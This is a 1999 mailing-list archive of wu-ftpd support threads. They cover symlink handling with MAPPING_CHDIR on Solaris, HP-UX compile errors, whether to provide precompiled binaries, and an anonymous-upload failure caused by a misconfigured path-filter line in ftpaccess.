I am using Solaris, not SunOS (today). I am using an automounter that may
point to either NFS or AFS directories. (The NFS was only an issue with the
realpath.c code that you did correctly).

I get the same behaviour with or without "HAVE_GETCWD" defined.

: Did the -L flag fix everything? (I find it hard to believe it would.) If
: so, can you think about that this is telling us about MAPPING_CHDIR and
: send me some details of what it did before which was wrong and now that
: it's right?

mapping chdir changes what used to be seen under ftpd as
"/afs/glue.umd.edu/home/elves/lwinc/home" to "/homes/lwinc".
This is actually a good thing as this is what the user sees when using
"telnet" or somesuch. However /homes/lwinc is a symlink to the original
directory before the maping_chdir takes place. It is function of "ls" that
"ls -l <path>", where <path> is a symlink returns something like;

lrwxrwxrwx 1 root wheel 39 Mar 16 16:57 /homes/lwinc ->
/afs/glue.umd.edu/home/elves/lwinc/home

This is where the problem occurs. So I added the -L flag so that "ls" would
resolve the symlink. I really need to put some miles on this change before I
could say it "fixed everything". However at least some of my users get their
files again...

Randall

From [email protected] Tue Mar 16 16:57:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA04793;
Tue, 16 Mar 1999 16:57:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA27545;
Tue, 16 Mar 1999 16:52:12 -0600 (CST)
Received: from pcc.edu (zeus.cc.pcc.edu [192.220.1.109])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA24050
for <[email protected]>; Tue, 16 Mar 1999 16:51:35 -0600 (CST)
Received: from orion.pcc.edu (orion.cc.pcc.edu [192.220.1.101])
by pcc.edu (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id OAA04036
for <[email protected]>; Tue, 16 Mar 1999 14:51:01 -0800 (PST)
Received: from kjohnsonnt ([192.220.2.58] (may be forged))
by orion.pcc.edu (8.8.6 (PHNE_14041)/8.8.6) with SMTP id OAA19461;
Tue, 16 Mar 1999 14:50:58 -0800 (PST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 14:51:51 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Kirke Johnson <[email protected]>
To: [email protected]
Subject: Can't build 2.4.2-vr16 on hp-ux 10.20
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Sadly, after subscribing to this list for several years, reading the web
FAQ, etc, I *still* can't compile this product. ;-{ I really wish there
were a precompiled HP binary..... Any assistance would be greatly
appreciated, as we are painfully aware of the security vulnerabilities!!

We have the following HP ansi C compiler installed:

B3901BA B.10.20.07 HP C/ANSI C Developer's Bundle for HP-UX 10.20
(S800)

The initial part of the build attempt looks like this:

============

/opt/wuftp/wu-ftpd-2.4.2-vr16 => date; ./build hpx
Tue Mar 16 14:36:38 PST 1999
make args are :
make opts are :

Copying Makefiles.

Linking src/config.h

Making support library.
cc -Aa -D_POSIX_SOURCE -O -c authuser.c
cc: "authuser.c", line 99: error 1574: Unknown size for "sa".
cc: "authuser.c", line 106: error 1594: The sizeof operator cannot be
applied to types with unknown size.
cc: "authuser.c", line 109: error 1530: Undefined struct or union.
cc: "authuser.c", line 109: error 1588: "AF_INET" undefined.
cc: "authuser.c", line 109: error 1563: Expression in if must be scalar.
cc: "authuser.c", line 110: error 1588: "EAFNOSUPPORT" undefined.
cc: "authuser.c", line 113: error 1530: Undefined struct or union.
cc: "authuser.c", line 114: error 1594: The sizeof operator cannot be
applied to types with unknown size.
cc: "authuser.c", line 117: error 1530: Undefined struct or union.
cc: "authuser.c", line 118: error 1530: Undefined struct or union.
cc: "authuser.c", line 118: error 1529: Cannot select field of non-structure.
cc: "authuser.c", line 136: error 1574: Unknown size for "sa".
cc: "authuser.c", line 147: error 1588: "AF_INET" undefined.
cc: "authuser.c", line 147: error 1588: "SOCK_STREAM" undefined.
cc: "authuser.c", line 149: error 1588: "SOL_SOCKET" undefined.
cc: "authuser.c", line 149: error 1588: "SO_REUSEADDR" undefined.
cc: "authuser.c", line 150: error 1549: Modifiable lvalue required for
assignment operator.
cc: "authuser.c", line 151: error 1530: Undefined struct or union.
cc: "authuser.c", line 152: error 1594: The sizeof operator cannot be
applied to types with unknown size.
cc: "authuser.c", line 153: error 1530: Undefined struct or union.
cc: "authuser.c", line 154: error 1530: Undefined struct or union.
cc: "authuser.c", line 155: error 1530: Undefined struct or union.
cc: "authuser.c", line 155: error 1529: Cannot select field of non-structure.
cc: "authuser.c", line 156: error 1594: The sizeof operator cannot be
applied to types with unknown size.
*** Error exit code 1

Stop.

============

I noted the comments at http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html#QA12
about cc complaints. I don't know if these errors consitute "strunames,
typenames, or modenames", but if so, the suggestion to "install
support/ftp.h as /usr/include/arpa/ftp.h" is also unfortunately something I
do not understand how to do. ;-{

Thanks again for any assistance.

----------------------------------------------------------------------
Kirke Johnson Internet: [email protected]
Internet Specialist, ITS , Sylvania Campus http://www.pcc.edu/
Portland Community College, Portland, OR, USA (503) 977-4368

From [email protected] Tue Mar 16 19:24:14 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA06937;
Tue, 16 Mar 1999 19:24:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA25883;
Tue, 16 Mar 1999 19:16:30 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA26591
for <[email protected]>; Tue, 16 Mar 1999 19:10:03 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA08367;
Tue, 16 Mar 1999 20:09:53 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 20:09:53 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Kirke Johnson <[email protected]>
Cc: [email protected]
Subject: Re: Can't build 2.4.2-vr16 on hp-ux 10.20
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Kirke Johnson wrote:

> Sadly, after subscribing to this list for several years, reading the web
> FAQ, etc, I *still* can't compile this product. ;-{

Mia Culpa. I had the patch submitted, but lost it before rolling VR16.
VR17 should compile without problems on HP/UX .. at least so my testers
tell me.

> I really wish there were a precompiled HP binary.....

As do I.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 16 19:26:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA06972;
Tue, 16 Mar 1999 19:26:38 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA01909;
Tue, 16 Mar 1999 19:19:03 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAB07646
for <[email protected]>; Tue, 16 Mar 1999 19:14:28 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA08403;
Tue, 16 Mar 1999 20:14:21 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 20:14:21 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Randall S. Winchester" <[email protected]>
Cc: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Randall S. Winchester wrote:

> ---> LIST /homes/lwinc
> lrwxrwxrwx 1 root wheel 39 Mar 16 16:57 /homes/lwinc -> /afs/glue.umd.edu/home/elves/lwinc/home
>
> With the added -L flag:
>
> ---> LIST /homes/lwinc
> 150 Opening ASCII mode data connection for /bin/ls.
> total 1050
> drwxr-xr-x 10 lwinc daemon 4096 Oct 27 15:11 .
> drwxr-xr-x 7 root daemon 2048 Sep 23 07:55 ..
> -rw------- 1 lwinc 33536 218 Feb 5 1998 .Xauthority
> [....snip....]

This looks like a local 'ls' program problem. At least the GNU 'ls' on my
Linux box doesn't need -L to behave correctly. I'll ask a couple of my
Solaris testers to take a look at this; maybe it needs a localization for
Solaris when MAPPING_CHDIR is defined.

> I am using Solaris, not SunOS (today). I am using an automounter that may
> point to either NFS or AFS directories. (The NFS was only an issue with the
> realpath.c code that you did correctly).
>
> I get the same behaviour with or without "HAVE_GETCWD" defined.

Drat, nothing's ever easy is it?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 16 22:21:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA09729;
Tue, 16 Mar 1999 22:21:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA01247;
Tue, 16 Mar 1999 22:14:27 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA00943
for <[email protected]>; Tue, 16 Mar 1999 22:06:18 -0600 (CST)
Received: from yua2 ([24.29.44.161])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id UAA03030
for <[email protected]>; Tue, 16 Mar 1999 20:58:36 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 21:01:34 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 08:14 PM 1999/3/16 -0500, Gregory A Lundberg wrote:

>> ---> LIST /homes/lwinc
>> lrwxrwxrwx 1 root wheel 39 Mar 16 16:57 /homes/lwinc ->

if you want to show files inside a link dir, just add a "/".
for example, "ls /homes/lwinc/".

alex

From [email protected] Wed Mar 17 01:14:09 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id BAA12126;
Wed, 17 Mar 1999 01:14:08 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id BAA19993;
Wed, 17 Mar 1999 01:07:53 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id BAA19245
for <[email protected]>; Wed, 17 Mar 1999 01:00:14 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id HAA18430;
Wed, 17 Mar 1999 07:58:52 +0100 (MET)
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 07:58:52 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: Can't build 2.4.2-vr16 on hp-ux 10.20
In-Reply-To: <[email protected]> from "Gregory A Lundberg" at Mar 16, 99 08:09:53 pm
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> From: Gregory A Lundberg <[email protected]>
> Subject: Re: Can't build 2.4.2-vr16 on hp-ux 10.20
>
> On Tue, 16 Mar 1999, Kirke Johnson wrote:
>
> > Sadly, after subscribing to this list for several years, reading the web
> > FAQ, etc, I *still* can't compile this product. ;-{
>
> Mia Culpa. I had the patch submitted, but lost it before rolling VR16.
> VR17 should compile without problems on HP/UX .. at least so my testers
> tell me.
>
> > I really wish there were a precompiled HP binary.....
>
> As do I.

Please excuse my stupid ;-) question or if I'm missing a point,
but as above you are saying that testers tell you that it compiles
without problems on HPUX where is the problem of providing
precompiled binaries for HPUX?

Have a nice day
Michael

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Wed Mar 17 09:54:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA20320;
Wed, 17 Mar 1999 09:54:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA25949;
Wed, 17 Mar 1999 09:47:09 -0600 (CST)
Received: from mail.karmax.com (mail.karmax.com [204.187.78.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA23040
for <[email protected]>; Wed, 17 Mar 1999 09:41:58 -0600 (CST)
Received: by karmax.com with Internet Mail Service (5.5.2448.0)
id <HBRGX63Q>; Wed, 17 Mar 1999 10:42:50 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 10:42:47 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Long, Michael" <[email protected]>
To: [email protected]
Subject: Permission denied. (Filename (accept))
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----_=_NextPart_000_01BE708C.CEE88A92"
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BE708C.CEE88A92
Content-Type: multipart/alternative;
boundary="----_=_NextPart_001_01BE708C.CEE88A92"

------_=_NextPart_001_01BE708C.CEE88A92
Content-Type: text/plain;
charset="iso-8859-1"

I get the following "Permission denied. (Filename (accept))" error when
trying to download a file to the pub directory using anonymous. Why??

# ftp sparky
Connected to sparky.karmax.com.
220 sparky.karmax.com FTP server (Version wu-2.4.2-academ (1) Thu Mar 11
14:32:48 EST 1999) ready.
Name (sparky:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 User ftp logged in. Access restrictions apply.
ftp> pwd
257 "/" is current directory.
ftp> ls -l
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 10
lrwxrwxrwx 1 root other 7 Mar 15 16:44 bin -> usr/bin
dr-xr-xr-x 2 root ftp 512 Mar 15 16:44 dev
dr-xr-xr-x 2 root ftp 512 Mar 15 16:44 etc
drwxrwxrwx 2 ftp ftp 512 Mar 15 16:44 pub
drwxr-xr-x 5 root ftp 512 Mar 15 16:44 usr
226 Transfer complete.
remote: -l
316 bytes received in 0.16 seconds (2 Kbytes/s)
ftp> !ls -l test.mgl
-rwxrwxrwx 1 root other 15 Mar 17 10:29 test.mgl
ftp> cd pub
250 CWD command successful.
ftp> pwd
257 "/pub" is current directory.
ftp> put test.mgl
200 PORT command successful.
550 test.mgl: Permission denied. (Filename (accept))
ftp>

My ftpaccess file:

# Server thresholds
#
limit all 10 Any /etc/msgs/msg.dead

#
# Access
#
class anonftp anonymous *
class staff real *
class ftp guest,anonymous *
guestgroup ftp

#
# Permission capabilities
#
delete no anonymous,guest,ftp
overwrite no anonymous,guest,ftp
rename no anonymous,guest,ftp
chmod no anonymous,guest,ftp
umask no anonymous,guest,ftp
noretrieve .notar
path-filter anonymous,guest,ftp ^[-A-Za-z0-9\._]*$ ^\. ^-
passwd-check rfc822 enforce

#
# Mssages and readme's
#
message /etc/welcome.msg login
readme README* login
readme README* cwd=*
shutdown etc/shutmsg
email [email protected]

#
# Executables
#
compress yes local remote
tar yes local remote
ls yes local,remote

#
# Event logs
#
log commands real
log transfers anonymous,real inbound,outbound

Many thanks in advance for your help

Michael Long.

<<Long, Michael.vcf>>

------_=_NextPart_001_01BE708C.CEE88A92
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2448.0">
<TITLE>Permission denied. (Filename (accept))</TITLE>
</HEAD>
<BODY>

I get the following "Permission =
denied. (Filename (accept))" error when trying to download a file =
to the pub directory using anonymous.  Why?? 
 

# ftp sparky
 Connected to =
sparky.karmax.com.
 220 sparky.karmax.com FTP server =
(Version wu-2.4.2-academ (1) Thu Mar 11 14:32:48 EST 1999) =
ready.
 Name (sparky:root): anonymous
 331 Guest login ok, send your =
complete e-mail address as password.
 Password:
 230 User ftp logged in.  Access =
restrictions apply.
 ftp> pwd
 257 "/" is current =
directory.
 ftp> ls -l
 200 PORT command successful.
 150 Opening ASCII mode data =
connection for /bin/ls.
 total 10
 lrwxrwxrwx   1 =
root     =
other          7 Mar 15 =
16:44 bin -> usr/bin
 dr-xr-xr-x   2 =
root     =
ftp          512 Mar 15 =
16:44 dev
 dr-xr-xr-x   2 =
root     =
ftp          512 Mar 15 =
16:44 etc
 drwxrwxrwx   2 =
ftp      =
ftp          512 Mar 15 =
16:44 pub
 drwxr-xr-x   5 =
root     =
ftp          512 Mar 15 =
16:44 usr
 226 Transfer complete.
 remote: -l
 316 bytes received in 0.16 seconds (2 =
Kbytes/s)
 ftp> !ls -l test.mgl
 -rwxrwxrwx   1 =
root     =
other         15 Mar 17 10:29 =
test.mgl
 ftp> cd pub
 250 CWD command successful.
 ftp> pwd
 257 "/pub" is current =
directory.
 ftp> put test.mgl
 200 PORT command successful.
 550 test.mgl: Permission denied. =
(Filename (accept))
 ftp> 

 

My ftpaccess file:

 

# Server thresholds
 #
 limit   all   =
10   =
Any           &nb=
sp;  /etc/msgs/msg.dead


#
 # Access 
 #
 class        &nbs=
p;  anonftp anonymous *
 class        &nbs=
p;  staff   real    *
 class        &nbs=
p;  ftp     guest,anonymous *
 guestgroup      ftp


#
 # Permission capabilities
 #
 delete        &nb=
sp; no      anonymous,guest,ftp
 overwrite       =
no      anonymous,guest,ftp
 rename        &nb=
sp; no      anonymous,guest,ftp
 chmod        &nbs=
p;  no      anonymous,guest,ftp
 umask        &nbs=
p;  no      anonymous,guest,ftp
 noretrieve      .notar
 path-filter       &nbs=
p;     anonymous,guest,ftp     =
^[-A-Za-z0-9\._]*$ ^\. ^-
 passwd-check    =
rfc822  enforce


#
 # Mssages and readme's
 #
 message         =
/etc/welcome.msg        login
 readme        &nb=
sp; =
README*          &nbsp=
;      login
 readme        &nb=
sp; =
README*          &nbsp=
;      cwd=3D*
 shutdown        =
etc/shutmsg
 email        &nbs=
p;  [email protected]


#
 # Executables
 #
 compress        =
yes           &nb=
sp; local remote
 tar         =
    =
yes           &nb=
sp; local remote
 ls         &=
nbsp;    =
yes           &nb=
sp; local,remote


#
 # Event logs
 #
 log commands real
 log transfers anonymous,real =
inbound,outbound

 
 

Many thanks in advance for your =
help


Michael Long.


 <<Long, =
Michael.vcf>> 


</BODY>
</HTML>
------_=_NextPart_001_01BE708C.CEE88A92--

------_=_NextPart_000_01BE708C.CEE88A92
Content-Type: application/octet-stream;
name="Long, Michael.vcf"
Content-Disposition: attachment;
filename="Long, Michael.vcf"

BEGIN:VCARD
VERSION:2.1
N:Long;Michael
FN:Long, Michael
ORG:Karmax Heavy Stamping;Information Services
TITLE:Operations Analyst
TEL;WORK;VOICE:905-878-5571 X2908
ADR;WORK:;;333 Market Drive;Milton;Ontario;L9T 4Z7;Canada
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:333 Market Drive=0D=0AMilton, Ontario L9T 4Z7=0D=0ACanada
EMAIL;PREF;INTERNET:[email protected]
REV:19990315T144602Z
END:VCARD

------_=_NextPart_000_01BE708C.CEE88A92--

From [email protected] Wed Mar 17 10:10:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA20723;
Wed, 17 Mar 1999 10:10:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA21198;
Wed, 17 Mar 1999 10:06:02 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA27594
for <[email protected]>; Wed, 17 Mar 1999 10:02:30 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA13985;
Wed, 17 Mar 1999 10:55:36 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 10:55:36 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Michael Schmidt <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: Can't build 2.4.2-vr16 on hp-ux 10.20
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 17 Mar 1999, Michael Schmidt wrote:

> Please excuse my stupid ;-) question or if I'm missing a point, but as
> above you are saying that testers tell you that it compiles without
> problems on HPUX where is the problem of providing precompiled
> binaries for HPUX?

Testing on your own machine is a different level of commitment/effort than
setting out to build a binary every month when a new VR update comes out.

I appreciate all the help I get and try to impose as little as possible on
the people who help me. While I would personally like pre-built binaries
for HP/UX because they would make things easier on some users, I leave the
choice up to those who have been assisting me and will not question their
decision.

--

At some point, someone who uses <platform> will decide that they would
like to keep current with the VR version, that there is a need for
pre-built binaries for <platform>, and that they would like to make the
commitment to provide those binaries.

My personal feelings about binaries, even from vendors, are they are good
as diagnostic aids, but a conscientious administrator will view them with
a great deal of skeptisism if not complete distrust. While I'll use
pre-built binaries from vendors for most of my command-shell functions, I
*never* use a pre-built kernel or daemon on *any* production machine .. I
want to know every feature chosen and configuration option in effect on
anything communicating directly with the Internet. I've found that I
often disagree with the default choices, and that I usually end up
tweaking the source code to suit my personal requirements.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 17 10:18:33 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA20925;
Wed, 17 Mar 1999 10:18:32 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA28840;
Wed, 17 Mar 1999 10:12:28 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA25611
for <[email protected]>; Wed, 17 Mar 1999 10:09:58 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA14119;
Wed, 17 Mar 1999 11:09:38 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 11:09:38 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Long, Michael" <[email protected]>
Cc: [email protected]
Subject: Re: Permission denied. (Filename (accept))
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 17 Mar 1999, Long, Michael wrote:

> I get the following "Permission denied. (Filename (accept))" error
> when trying to download a file to the pub directory using anonymous.
> Why??

> ftp> put test.mgl
> 550 test.mgl: Permission denied. (Filename (accept))

We usually call this uploading, btw, since we look at things from the
server's point of view.

> path-filter anonymous,guest,ftp ^[-A-Za-z0-9\._]*$ ^\. ^-

The filename is being rejected by path-filter.

path-filter's first parameter MUST contain a comma-separated list of one
of the following: anonymous guest real .. you have 'ftp' listed and that
has no meaning here.

On wu-ftpd-vr, you can also use a class=<classname> in this first
parameter.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 17 10:23:54 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA21065;
Wed, 17 Mar 1999 10:23:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA28402;
Wed, 17 Mar 1999 10:18:52 -0600 (CST)
Received: from cello.digimark.net (ns1.digimark.net [209.67.203.9])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA27786
for <[email protected]>; Wed, 17 Mar 1999 10:12:32 -0600 (CST)
Received: from cello.digimark.net (cello.digimark.net [209.67.203.10])
by cello.digimark.net (8.9.1a/8.9.1) with ESMTP id LAA25909
for <[email protected]>; Wed, 17 Mar 1999 11:12:32 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 11:12:32 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gary Goldberg <[email protected]>
To: [email protected]
Subject: Double-Check: Any way to virtual ftp w/o IP address? (Solaris)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi all. I wanted to double check this before I make any decisions. I
use the virtual ftp support in wuftpd/vr mods to support multiple independent
anonymous ftp's for my clients. I want to move to host-based www sites,
so the machine will have only one IP address.

Is it possible to have independent anon ftp's without assigning multiple
IP addresses to the machine at this time. I'm using Solaris 7.

Thanks. -Gary

- Do not taunt Happy Fun Ball.
Gary Goldberg KA3ZYW email: [email protected] 301/249-6501 ICQ: 22569505
Digital Marketing, Inc., Bowie, MD. http://www.digimark.net/

From [email protected] Wed Mar 17 10:28:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA21187;
Wed, 17 Mar 1999 10:28:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA28873;
Wed, 17 Mar 1999 10:19:34 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA29111
for <[email protected]>; Wed, 17 Mar 1999 10:17:24 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA14193;
Wed, 17 Mar 1999 11:17:13 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 11:17:13 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Randall S. Winchester" <[email protected]>
Cc: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Randall S. Winchester wrote:

> : This looks like a local 'ls' program problem. At least the GNU 'ls' on my
> : Linux box doesn't need -L to behave correctly. I'll ask a couple of my
> : Solaris testers to take a look at this; maybe it needs a localization for
> : Solaris when MAPPING_CHDIR is defined.
>
> I get this on *everything* including Linux.

Oh duh! You're right.

What we have here is a disconnect between how we'd like to see symlinks
appear on a long listing (-l option for ls) and how we'd like them to
behaved when named directly (-L option). Both methods are aguably
correct.

What's unfortunate here is the orginal posting claims that this
disconnect, when taken together with the MAPPING_CHDIR feature, causes
problems for some clients. That's a pretty strong argument for using -L
even though I'd really like to try to not have that option appear on the
listing itself.

It may be a few weeks/couple months before I get a chance to look into it;
maybe someone would like to consider what it would take to have the daemon
look for a symlink as the _specified_ parameter for LIST and actually pass
ls the resolved name .. maybe this is as simple as always passing the LIST
parameter through fb_realpath() ... ???

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 17 10:37:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA21404;
Wed, 17 Mar 1999 10:37:29 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA20115;
Wed, 17 Mar 1999 10:31:34 -0600 (CST)
Received: from mail.karmax.com (mail.karmax.com [204.187.78.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA31127
for <[email protected]>; Wed, 17 Mar 1999 10:26:58 -0600 (CST)
Received: by karmax.com with Internet Mail Service (5.5.2448.0)
id <HBRGX6PY>; Wed, 17 Mar 1999 11:27:50 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 11:27:48 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Long, Michael" <[email protected]>
To: [email protected]
